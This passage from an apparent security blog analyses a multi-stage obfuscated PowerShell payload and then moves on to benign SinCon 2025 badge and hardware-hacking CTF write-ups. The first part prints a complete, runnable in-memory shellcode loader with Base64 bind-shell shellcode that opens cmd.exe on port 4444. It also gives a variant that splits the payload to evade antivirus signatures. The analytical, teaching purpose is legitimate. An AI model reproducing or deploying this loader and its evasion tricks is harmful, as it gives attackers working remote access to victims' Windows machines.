wB1AGsAaABRAGIANwBmAEUAeQBZAEcANAAxAFUAWQBPAGQAdABvAHgARwBUAG4AYgBiAGIAMwA0AHgAUgB3AFIASABJAGQASgBrAGgAQgBRAEsAVwBiAGwARwAxAHIAYgBYAGIASgB1AFMAeABzADgARQAnACcAKwAnACcATAA5AEwASABUAGEAUwAnACcAKwAnACcAcgBRAGIAZgA0AGwAYgBSAGwAZgAnACcAKwAnACcATgAvADcAMAB2AFIAQQBWAHkAVwAyAGMAeQArAEQAegAyAEMAVAB3AE4AbwBKAHIASABXAFAASAA1AHkAQQByADAARgBNAFYATwBLAEMAegBkAGkATgByAHMAZgBnAHIAdABIAGEAYgBXAFYAdgAxADEAcQBSAHcAVQBmAGoAOAB0AFMANQAzAG4ANwB1AHUARQAyAFQANgA4AEgAYgBCADUALwBhAHkAMQBYAGIANQA3AHEAZQByAFgAcwBJAHoAcQBRAHYALwBiAHYAbABWAEUATwBGAC8AeAByAEUAVwB5AFYANAA4AE0AMQBzAE8AMQBjAGoAVwA3AHIAdgBtAFYAUQB5AHIAbwBkAG4AcwA4AFMAUgBCADQAbwBtAEkAWQBOAGMAMwBYAFMAMQAyADUAMABuAGgAVwBCAHoARABjAHUAUwBzACcAJwArACcAJwBkAGMAYgBOAE0ALwA0AGQAOQBEAE0ANQBPAFAAQgAxAHMAagBnAHYAVAB6AEYAOQByAGIAcABiADgAQwBIAFgAbAArAEgAOAAzADAAbAAyAHgATQBwADkAVQBpAC8AUAB3AFUATQBsAHAAcwB0AHMAdwB7ADEAfQBUAGIAWABtAC8AcABzAHQAagBKAC8AZgByAFQAQQB2AEgAYQBIAGIAVwBEAFgAdQBmAE8AMwAxAEQAUwBWAHYAMgB4AEYANQAvAHUAZQBmAFkARQBTAGQAdQB0AHIAVwBMAGkAdwA5AEEAOABMAGwAQgBBAHYAYgBwAGUARgBGAHgAagA5AHUAVwB6AHYAdgBBACsAMwBjAFYAUgB6AE4ARwB6ADMAagArAFcAcAA4AGIAVwBYAEgAaQBXAHgAVAA0AEQALwAyAHIAcgBFAE4ASwBHAEMAdABGAFIAeABxAEgAaABHAHUASQBJAHIALwBkAHIASABBAGMAWQBBAHIAWABBAGIAZwB3AGwATwBtAEwASwBBADEAdAAzAGgARgA1ADYANABKAG0AdgBHACsAUgB2AEcATQBiAGEAdQA3AFYAbwBhACsAYQA4AEMAaABZAGUAKwBxAFQANQBkAFQANQArAFEAeAA4AGgASQBMAEEAYwA3AFUAeAB4AEkASABIAC8ASABwAHIAOQA2AG4AVgBnAGcAYgBYADIAcgBVADYAZQBlAEsALwAvAFcAVABkAE0ATQByAEUAMwBGAGkAZAB0ADgAZwBjAG0AdABJADYAegBhADIAJwAnACsAJwAnAEQAUQBlAEkASwBvAHYAagBiADAAWQBLAHIARQBJAE8AUwAvAEMAcABlAHIAMABFAEgATwA2ACsAZwBnAEUASgBGADMAMQBjADEARABxAEEAVQBoAHYAUQA1AGYATQBXADUASAB0AG4AdwBIAEQAMgBBAHIAUQAxAEgAbgAvAE4AYgAwAEoANABtAFkATwBJAEkAMwB3AHMAJwAnACsAJwAnAFYAeAB1ADgASQB6ACsAOABjAEYAUwB1AEoAZgB5AHQAeABpAHUAcgBzAHcANAAvAHoATAA4AFIANQBtAHYAdQBIADEAVABlAFIAcQBWAFgAZgB3AC8AUABMADkATQB1AEoAewAxAH0AMwAzAHQAJwAnACsAJwAnADkAdwBFAHcAJwAnACsAJwAnAHQAUQBnAEQAUQBSADIAYQBEAE0AWAA3AGkAOAA5AEIASABJAHAAYwBlAFIAewAxAH0AaABDAEEAMABrAGcAbABzADgALwBBAC8AQgBkAGMAcQBPAHIAdQBCADYAbQBiAGUANQB2AHcARgBiAE4ARQBxAHUAaQB3AHcAQQBBAEEAewAwAH0AewAwAH0AJwAnACkALQBmACcAJwA9ACcAJwAsACcAJwBaACcAJwApACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA

This deobfuscation can also be performed manually for analysis, using the Base64 string from the first-stage script, to obtain the second-stage script:

$compressed = ((("H4sIAPtILWgCA7VXbW+bSBD+Xqn/AVWWjFXHL6mTpp" + "Ei3WJDjGsnJhjc2LVOGBbYeA0EFtuk1/9+sxjyojp3u{1}OKhMzuzszOPvPMzNpNA5uRMBAiSx{1}+vH8nFM/Yiq21IFbuBid1oWL9OUGntafVSnQjn62EC0GcoyjqhWuLBIv" + "z824axzhg+3HjEjOUJHi9pAQnYk34S5j6OM{1}H18s7bDPhh1D5s3FJw6VFC7Gsa9k+Fo5Q4PC1YWhb3LWGHlHCxOr379Xa/Ki9aMj3qUUTsapnCcPrhk" + "NptSb8rPENJ1mExeqI2HGYhC5rTEnw6bhhBInl4iuwtsEjzPzQSapwmqfzxJilcVAci9v{1}S4lV+BzHoY0cJ8{1}JUq0Lc77DfLH4Q5wX29+kASNr3FADhuMw0nG8IT{1}OGn0rcCi+we4CtHQWk8Bb1GogtglXWKwEKaV14b+YEa/wtgTvrUricyWQGrO4VoewHjroKHRSiveq1QOeci7U4HnkA"+"0D4k6Polh"+"zafJsd4NDTRPnM8xUMPovjMCG57oXQqgsj2NxiY{1}zBsDKJU1xbPCIuVOwoOAnrbzXXLnVBM7OXMDM3Q+IsnvRfUKBiXbpc5nU+97BLAtzLAmtN7JKy4qGoYJfiHJFGKXYF/onVYgE7PUyx{1}zEOMyfHL2rymrBHXSkl1MExsiGyCXgFQa+9dGYfObGqBiO8BvT2Y2BrxYVEwaV0kRx{1}uTsfg1C1S60kqQvjFDLVrgs6tih26gIKElIso{1}SF+Wf1yd1RShmxrYSV5ha1l2gWu3bDIGFxakNYAYGJ"+"HmGbWJQDUhf6xMFSphOv3L16EI6uRSmkD1jaQDhghsOgM06WGBzdE6PW0DFT1xHFaxDKK4dCLQ/qRJElOb0sDzv"+"Vw46WqbDnPQemROS{1}mxBtnYasLpgk{1}lCGOMjArv/nxK8FiHvTjXERHLHMsLmUM{1}4DlUS/VTlLC4xyRGIGaChxuJa"+"sBJ929qVG/NCUSe9k3Au3CB5{1}udFMSTfMmTpyBlRXmX4rk6Hh+yppqx6"+"MM0P2xqwVf{1}1M+gO910dxb+e7SE1UuS9lWltCdp98NgeSYYAe6Q61u52KnO7QUz3YQFJ9W2rNWp7UUrpDXfJl0kKervW1TnumNs+oRB50V"+"Uf96aP9R7typ9P/tpugq9EA+cq1o7SPlVx/xfVnq8thT87HNh9rt4lM{1}NhHVm4108dTM5KmsjLTzEj1Pm49zRw"+"2O4ov"+"wbxKdsPIbMLTbg82gfMwom"+"cPI3BXM2cDgmeqhzMPaQjptwHVl9sukhQb7fEyYG41UYOdtoxGTnbbb34xRwRHIdJkhBQKWblG1rbXbJuSxs8E"+"L9LHTaS"+"rQbf4lbRlf"+"N/70vRAVyW2cy+Dz2CTwNoJrHWPH5yAr0FMVOKCzdiNrsfgrtHabWVv11qRwUfj8tS53n7uuE2T68HbB5/ay1Xb57qerXsIzqQv/bvlVEOF/xrEWyV48M1sO1cjW7rvmVQyrodns8SRB4omIYNc3XS1250nhWBzDcuSs"+"dcbNM/4d9DM5OPB1sjgvTzF9rbpb8CHXl+H830l2xMp9Ui/PwUMlpstsw{1}TbXm/pstjJ/frTAvHaHbWDXufO31DSVv2xF5/uefYESdutrWLiw9A8LlBAvbpeFFxj9uWzvvA+3cVRzNGz3j+Wp8bWXHiWxT4D/2rrENKGCtFRxqHhGuIIr/drHAcYArXAbgwlOmLKA1t3hF564JmvG+RvGMbau7Voa+a8ChYe+qT5dT5+Qx8hILAc7UxxIHH/Hpr96nVggbX2rU6eeK//WTdMMrE3Fidt8gcmtI6za2"+"DQeIKovjb0YKrEIOS/Cper0EHO6+ggEJF31c1DqAUhvQ5fMW5HtnwHD2ArQ1Hn/Nb0J4mYOII3ws"+"Vxu8Iz+8cFSuJfytxiursw4/zL8R5mvuH1TeRqVXfw/PL9MuJ{1}33t"+"9wEw"+"tQgDQR2aDMX7i89BHIpceR{1}hCA0kgls8/A/BdcqOruB6mbe5vwFbNEquiwwAAA{0}{0}") -f"=","Z")))
$bytes = [System.Convert]::FromBase64String($compressed)
$stream = New-Object System.IO.MemoryStream(, $bytes)
$gzip = New-Object System.IO.Compression.GzipStream($stream, [System.IO.Compression.CompressionMode]::Decompress)
$reader = New-Object System.IO.StreamReader($gzip)
$script = $reader.ReadToEnd()
Write-Output $script

This "manual method" reveals the second-stage script, which is then analyzed for its shellcode execution capabilities.

Second-Stage Script: In-Memory Shellcode Execution

The deobfuscated second-stage script (payload.ps1) is designed to execute shellcode directly in memory, a common tactic to bypass file-based AV detection.

Key features of this script:

Dynamic Function Resolution: It avoids static analysis of imported functions by dynamically resolving critical Windows API functions (e.g., VirtualAlloc, CreateThread, VirtualProtect, WaitForSingleObject). This is done using reflection and custom functions like paE (likely for GetProcAddress via GetModuleHandle) and vXZ (for creating delegate types on the fly).
Dynamic Assembly Creation: The script uses DefineDynamicAssembly and DefineDynamicModule to create .NET assemblies in memory. This allows it to define and use types, such as delegates for P/Invoke calls, without writing to disk.
Shellcode Handling: The shellcode is stored as a Base64 encoded string within the script. It's decoded and copied into an executable memory region allocated by VirtualAlloc. VirtualProtect might be used to change memory permissions before execution.

function paE {
        Param ($jJ5, $a_TA6)
        $pRE8k = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

        return $pRE8k.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($pRE8k.GetMethod('GetModuleHandle')).Invoke($null, @($jJ5)))), $a_TA6))
}

function vXZ {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $cpn5o,
                [Parameter(Position = 1)] [Type] $ycb = [Void]
        )

        $aGf = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $aGf.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $cpn5o).SetImplementationFlags('Runtime, Managed')
        $aGf.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ycb, $cpn5o).SetImplementationFlags('Runtime, Managed')

        return $aGf.CreateType()
}

[Byte[]]$sSYI = [System.Convert]::FromBase64String("/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCABFcAAAAAEFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1VBQTTHJTTHASP/ASInCSP/ASInBQbrqD9/g/9VIicdqEEFYTIniSIn5QbrC2zdn/9VIMdJIiflBurfpOP//1U0xwEgx0kiJ+UG6dOw74f/VSIn5SInHQbp1bk1h/9VIgcSgAgAASbhjbWQAAAAAAEFQQVBIieJXV1dNMcBqDVlBUOL8ZsdEJFQBAUiNRCQYxgBoSInmVlBBUEFQQVBJ/8BBUEn/yE2JwUyJwUG6ecw/hv/VSDHSSP/Kiw5BugiHHWD/1bvwtaJWQbqmlb2d/9VIg8QoPAZ8CoD74HUFu0cTcm9qAFlBidr/1Q==")
[Uint32]$f21aS = 0
$dQUM = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((paE kernel32.dll VirtualAlloc), (vXZ @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $sSYI.Length,0x3000, 0x04)

[System.Runtime.InteropServices.Marshal]::Copy($sSYI, 0, $dQUM, $sSYI.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((paE kernel32.dll VirtualProtect), (vXZ @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($dQUM, [Uint32]$sSYI.Length, 0x10, [Ref]$f21aS)) -eq $true) {
        $asr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((paE kernel32.dll CreateThread), (vXZ @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$dQUM,[IntPtr]::Zero,0,[IntPtr]::Zero)
        [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((paE kernel32.dll WaitForSingleObject), (vXZ @([IntPtr], [Int32]))).Invoke($asr,0xffffffff) | Out-Null
}

Analysis of the second-stage PowerShell script, showing shellcode loading and execution.

Shellcode Analysis

The final payload is the shellcode. Analysis of this shellcode reveals its purpose, which is typically to establish a command and control (C2) channel or deploy further malware.

Raw shellcode (partial view):

fc 48 83 e4 f0 e8 c0 00 00 00 41 51 41 50 52 51 56 48 31 d2 65 48 8b 52 60 48 8b 52 18 48 8b 52 20 48 8b 72 50 48 0f b7 4a 4a 4d 31 c9 48 31 c0 ac 3c 61 7c 02 2c 20 41 c1 c9 0d 41 01 c1 e2 ed 52 41 51 48 8b 52 20 8b 42 3c 48 01 d0 8b 80 88 00 00 00 48 85 c0 74 67 48 01 d0 50 8b 48 18 44 8b 40 20 49 01 d0 e3 56 48 ff c9 41 8b 34 88 48 01 d6 4d 31 c9 48 31 c0 ac 41 c1 c9 0d 41 01 c1 38 e0 75 f1 4c 03 4c 24 08 45 39 d1 75 d8 58 44 8b 40 24 49 01 d0 66 41 8b 0c 48 44 8b 40 1c 49 01 d0 41 8b 04 88 48 01 d0 41 58 41 58 5e 59 5a 41 58 41 59 41 5a 48 83 ec 20 41 52 ff e0 58 41 59 5a 48 8b 12 e9 57 ff ff ff 5d 49 be 77 73 32 5f 33 32 00 00 41 56 49 89 e6 48 81 ec a0 01 00 00 49 89 e5 49 bc 02 00 11 5c 00 00 00 00 41 54 49 89 e4 4c 89 f1 41 ba 4c 77 26 07 ff d5 4c 89 ea 68 01 01 00 00 59 41 ba 29 80 6b 00 ff d5 50 50 4d 31 c9 4d 31 c0 48 ff c0 48 89 c2 48 ff c0 48 89 c1 41 ba ea 0f df e0 ff d5 48 89 c7 6a 10 41 58 4c 89 e2 48 89 f9 41 ba c2 db 37 67 ff d5 48 31 d2 48 89 f9 41 ba b7 e9 38 ff ff d5 4d 31 c0 48 31 d2 48 89 f9 41 ba 74 ec 3b e1 ff d5 48 89 f9 48 89 c7 41 ba 75 6e 4d 61 ff d5 48 81 c4 a0 02 00 00 49 b8 63 6d 64 00 00 00 00 00 41 50 41 50 48 89 e2 57 57 57 4d 31 c0 6a 0d 59 41 50 e2 fc 66 c7 44 24 54 01 01 48 8d 44 24 18 c6 00 68 48 89 e6 56 50 41 50 41 50 41 50 49 ff c0 41 50 49 ff c8 4d 89 c1 4c 89 c1 41 ba 79 cc 3f 86 ff d5 48 31 d2 48 ff ca 8b 0e 41 ba 08 87 1d 60 ff d5 bb f0 b5 a2 56 41 ba a6 95 bd 9d ff d5 48 83 c4 28 3c 06 7c 0a 80 fb e0 75 05 bb 47 13 72 6f 6a 00 59 41 89 da ff d5

Emulation with tools like speakeasy can reveal its behavior:

speakeasy -t shellcode.bin  -r -a x64 
* exec: shellcode
0x10fe: 'kernel32.LoadLibraryA("ws2_32")' -> 0x78c00000
0x110f: 'ws2_32.WSAStartup(0x101, 0x1203e08)' -> 0x0
0x112b: 'ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
0x1140: 'ws2_32.bind(0x4, "0.0.0.0:4444", 0x10)' -> 0x0
0x114e: 'ws2_32.listen(0x4, 0x0)' -> 0x0
0x115f: 'ws2_32.accept(0x4, 0x0, 0x0)' -> 0x8
0x116d: 'ws2_32.closesocket(0x4)' -> 0x0
0x11c2: 'kernel32.CreateProcessA(0x0, "cmd", 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1203f38, 0x1203f20)' -> 0x1
0x11d2: 'kernel32.WaitForSingleObject(0x220, 0xffffffffffffffff)' -> 0x0
0x11df: 'kernel32.GetVersion()' -> 0x1db10106
0x11f9: 'kernel32.ExitProcess(0x0)' -> 0x0
* Finished emulating

Summary of Shellcode Behavior: The shellcode executes the following actions:

Loads ws2_32.dll (Windows Sockets API).
Initializes Winsock.
Creates a TCP socket.
Binds the socket to listen on all available network interfaces on port 4444.
Accepts an incoming connection on this port.
Closes the original listening socket.
Creates a new cmd.exe process, effectively providing a command prompt.
Waits for the cmd.exe process to terminate.
Retrieves the operating system version (likely for telemetry or compatibility checks).
Exits the current process.

In essence, this shellcode implements a bind shell: it listens on port 4444 and provides an interactive command prompt to any client that connects to it.

Further Evasion: Splitting the Payload

To make signature-based detection more difficult, the Base64 encoded shellcode within the PowerShell script can be split into multiple string variables. These variables are then concatenated at runtime before the shellcode is decoded and executed.

function paE {
        Param ($jJ5, $a_TA6)
        $pRE8k = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

        return $pRE8k.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($pRE8k.GetMethod('GetModuleHandle')).Invoke($null, @($jJ5)))), $a_TA6))
}

function vXZ {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $cpn5o,
                [Parameter(Position = 1)] [Type] $ycb = [Void]
        )

        $aGf = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $aGf.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $cpn5o).SetImplementationFlags('Runtime, Managed')
        $aGf.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ycb, $cpn5o).SetImplementationFlags('Runtime, Managed')

        return $aGf.CreateType()
}
$evasionpayload = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/"
$evasionpayload += "4FhBWVpIixLpV////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCABFcAAAAAEFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1VBQTTHJTTHASP/ASInCSP/ASInBQbrqD9/g/9VIicdqEEFYTIniSIn5QbrC2zdn/9VIMdJIiflBurfpOP//"
$evasionpayload += "1U0xwEgx0kiJ+UG6dOw74f/VSIn5SInHQbp1bk1h/9VIgcSgAgAASbhjbWQAAAAAAEFQQVBIieJXV1dNMcBqDVlBUOL8ZsdEJFQBAUiNRCQYxgBoSInmVlBBUEFQQVBJ/8BBUEn/yE2JwUyJwUG6ecw/hv/VSDHSSP/Kiw5BugiHHWD/1bvwtaJWQbqmlb2d/9VIg8QoPAZ8CoD74HUFu0cTcm9qAFlBidr/1Q=="
[Byte[]]$sSYI = [System.Convert]::FromBase64String($evasionpayload)
[Uint32]$f21aS = 0
$dQUM = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((paE kernel32.dll VirtualAlloc), (vXZ @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $sSYI.Length,0x3000, 0x04)

[System.Runtime.InteropServices.Marshal]::Copy($sSYI, 0, $dQUM, $sSYI.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((paE kernel32.dll VirtualProtect), (vXZ @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($dQUM, [Uint32]$sSYI.Length, 0x10, [Ref]$f21aS)) -eq $true) {
        $asr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((paE kernel32.dll CreateThread), (vXZ @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$dQUM,[IntPtr]::Zero,0,[IntPtr]::Zero)
        [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((paE kernel32.dll WaitForSingleObject), (vXZ @([IntPtr], [Int32]))).Invoke($asr,0xffffffff) | Out-Null
}

Conclusion: Evasion Strategy

The PowerShell payload uses a sophisticated, multi-stage strategy to evade detection:

Initial Obfuscation: The attack starts with a Base64 encoded command, hiding the initial script from simple static analysis and casual inspection.
Layered Deobfuscation: The first-stage script downloads and deobfuscates a second-stage script (using Gzip and Base64 encoding), delaying the exposure of the core malicious logic.
In-Memory Operations:
- Both the second-stage script and the final shellcode are executed entirely in memory. This bypasses AV scanners that primarily focus on detecting malicious files on the disk.
- Dynamic API resolution and in-memory .NET assembly compilation make it harder for AV systems to detect malicious P/Invoke calls through static analysis of import tables.
Shellcode Obfuscation: Storing the shellcode as a Base64 string (and potentially splitting it across multiple variables) helps to hide it from basic signature-based detection methods.

These combined techniques significantly improve the payload's ability to evade detection by traditional Antivirus solutions.

The SinCon 2025 Dragon Badge

Sat, 24 May 2025 00:00:00 GMT

SinCon 2025's hardware badge reimagines Singapore's iconic Dragon Playground as an interactive CTF challenge. This nostalgic tribute to the Dragon Playground at Toa Payoh, Singapore.

Getting Started

Badge Assembly

First, you'll need to solder the badge with 8 LEDs. Follow the comprehensive assembly guide:

📄 Assembly Guide

Environment Setup

Once your badge is assembled, set up the CTF environment:

📄 CTF Setup Guide

Challenge Writeups

Challenge 1

Question:

baaba abaaa abbab aaaba abbba abbab
aaabb baaab aaaaa aabba abbba abbab

Solution:

This is a Bacon cipher. The pattern uses two different characters (represented by 'a' and 'b') to encode letters.

Decoding the cipher gives us: SINCONDRAGON

Since the flag format requires all lowercase.

The flag is: sincondragon

Challenge 2

Question:

That's one beautiful lanyard, innit?

Solution:

The challenge references a physical lanyard with runic symbols. Using Google Lens to scan the symbols reveals they correspond to RUNE fonts.

By decoding each runic character individually and converting to lowercase as required by the flag format.

The flag is: sinconparc

Challenge 3

Question:

aGFja2Vyd2FyZS5pby9zaW5jb24yMDI1LWNoYWxsZW5nZS1h

Solution:

First, decode the Base64 string to reveal a website URL:

https://hackerware.io/sincon2025-challenge-a

Visiting the website reveals two split pieces of a QR code:

To solve this:

Assemble the QR code - Combine both pieces
Invert colors - The second piece needs color inversion (can be done in PowerPoint or image editor)

Scan the assembled QR - This gives us the encoded message:

jrypbzr gb gur cnex g0n-c4l0u

Using a cipher identifier, this appears to be ROT13. Decoding it reveals:

welcome to the park t0a-p4y0h

The flag is: t0a-p4y0h

Challenge 4

Question:

aGFja2Vyd2FyZS5pby9zaW5jb24yMDI1LWdlcmJlci56aXA=

Solution:

First, decode the Base64 string to reveal a download URL:

https://hackerware.io/sincon2025-gerber.zip

Download and extract the ZIP file containing Gerber files (PCB design files for the dragon badge). Among the various Gerber files, examine SINCON-copper3.gbr which contains the hidden message.

The message indicates to "zigzag through the rails," suggesting this is a Rail Fence cipher. Decoding the ciphertext from the last line using a Rail Fence decoder reveals the hidden message.

The flag is: dr4g0n-c1ty

Challenge 5

Question:

aGFja2Vyd2FyZS5pby9zaW5jb24yMDI1LWRyYWdvbi1yb2Fy

Solution:

First, decode the Base64 string to reveal a website URL:

https://hackerware.io/sincon2025-dragon-roar

Visiting the website shows an audio-related challenge. The audio file can be accessed by appending .wav to the URL:

https://hackerware.io/sincon2025-dragon-roar.wav

Listening to the audio reveals it's a rickroll. The website contains a hint: "if anyone asks: the meme is the secret to the universe!" This suggests using steganography with "rickroll" as the password.

Using steghide to extract hidden data from the audio file with the password rickroll reveals a hidden text file dragonsecret.txt:

The extracted file contains:

The dragon will... bre4th-f1r3

The flag is: bre4th-f1r3

Challenge 6

Question:

aGFja2Vyd2FyZS5pby9zaW5jb24yMDI1LWNoYWxsZW5nZS1i

Solution:

Decoding the Base64 string reveals a URL:

https://hackerware.io/sincon2025-challenge-b

The website contains another hidden challenge similar to the previous one:

Following the same pattern as Challenge 3, I appended .png to the URL to access the challenge image directly:

https://hackerware.io/sincon2025-challenge-b.png

The image displays a series of semaphore flag positions:

Using a semaphore decoder, each flag position corresponds to a letter:

The flag is: dr4gon-fru1t

Challenge 7

Question:

g13 f4 -16 e3 g7 t1 d10 014 419 h2
s9 p17 i8 412 l5 y20 r11 118 a6 n15

Solution:

This cipher uses character-index pairs where each number represents a positional index. Extract the first character of each pair and sort by their numerical values.

Extracting character-index pairs:

g13, f4, -16, e3, g7, t1, d10, 014, 419, h2, s9, p17, i8, 412, l5, y20, r11, 118, a6, n15

Sorting by index values (1→20):

t1, h2, e3, f4, l5, a6, g7, i8, s9, d10, r11, 412, g13, 014, n15, -16, p17, 118, 419, y20

Reading the characters in order: theflagisdr4g0n-p14y

The flag is: dr4g0n-p14y

Challenge 8

Question:

aGFja2Vyd2FyZS5pby9zaW5jb24yMDI1LWNoYWxsZW5nZS1j

Solution:

Decoding the Base64 string reveals another URL:

https://hackerware.io/sincon2025-challenge-c

Following the established pattern, accessing the challenge image reveals a T9 keypad cipher:

The cipher text is: 3 777 2 4 (0) 66 - 66 (3) 7777 8

Using T9 keypad decoding (where numbers correspond to multiple key presses):

3 = d
777 = r
2 = a
4 = g
(0) = 0 (unchanged)
66 = n
- = - (unchanged)
66 = n
(3) = 3 (unchanged)
7777 = s
8 = t

The flag is: drag0n-n3st

This completes the SinCon 2025 Dragon Badge CTF series - all 8 LEDs on the dragon badge are now successfully lit!

The SinCon 2025 Hardware Hacking Kampung

Sat, 24 May 2025 00:00:00 GMT

I participated in the SinCon 2025 Hardware Hacking Kampung CTF and tackled challenges across multiple hardware security categories. Here are my writeups for the challenges I solved:

Challenge Solutions

📡 NFC/RFID Exploitation

RFID-1

Challenge Description: NFC card cloning challenge that teaches the difference between NFC and RFID technologies. The task involves reading data from one NFC card and writing it to another card.

Solution: This was straightforward to solve using the TagWriter mobile app. The process involved:

Reading the original NFC card using a smartphone
Writing the cloned data to a blank NFC card
Key learning: Mobile phones can handle NFC but not RFID frequencies

⚡ Side Channel & Fault Injection

Fault Injection

Challenge Description: Electromagnetic Fault Injection challenge using the ChipSHOUTER (CW520) platform. This tool injects electromagnetic pulses to disrupt microcontroller operations and potentially bypass security mechanisms.

Solution: We used the ChipSHOUTER to perform privilege escalation on a target microcontroller. The process involved:

Understanding the mechanism: Microcontrollers operate with specific voltage thresholds for logic states (0s and 1s)
Applying electromagnetic interference: The injector sends targeted EM pulses to disrupt normal operation
Finding the sweet spot: Through trial and error, we located the precise timing and position where the fault injection successfully altered the execution flow
Avoiding false states: We had to be careful not to crash the system while searching for the correct fault conditions

The challenge was completed when we successfully triggered the fault injection at the right moment to achieve the desired privilege escalation state.

Flag: flag{its_easy_to_fault}

🛂 Firmware Extraction & Analysis

Reversing Master

Challenge Description: Smart lock firmware reverse engineering challenge that requires privilege escalation through multiple authentication layers. The goal is to analyze a binary to understand its authentication mechanisms and find ways to access hidden debug functionality.

Solution: This challenge involved reverse engineering a smart lock firmware binary to uncover hidden debug functionality and escalate privileges. The key was understanding the authentication flow and memory structure to find the master code and debug commands.

Performed initial file analysis to understand the binary format:
- Used file command to identify binary type:
- Identified as MIPS architecture requiring emulation
- Set up qemu-mipsel-static plugin to emulate the MIPS executable on x86 system
Analyzed the main function to understand program flow:
- Prompts for username and password with fgets()2. Analyzed the main function to understand program flow:
- Prompts for username and password with fgets()
- Calls authenticate_user() with credentials
- If authentication succeeds (privilege > 0), enters main_menu()
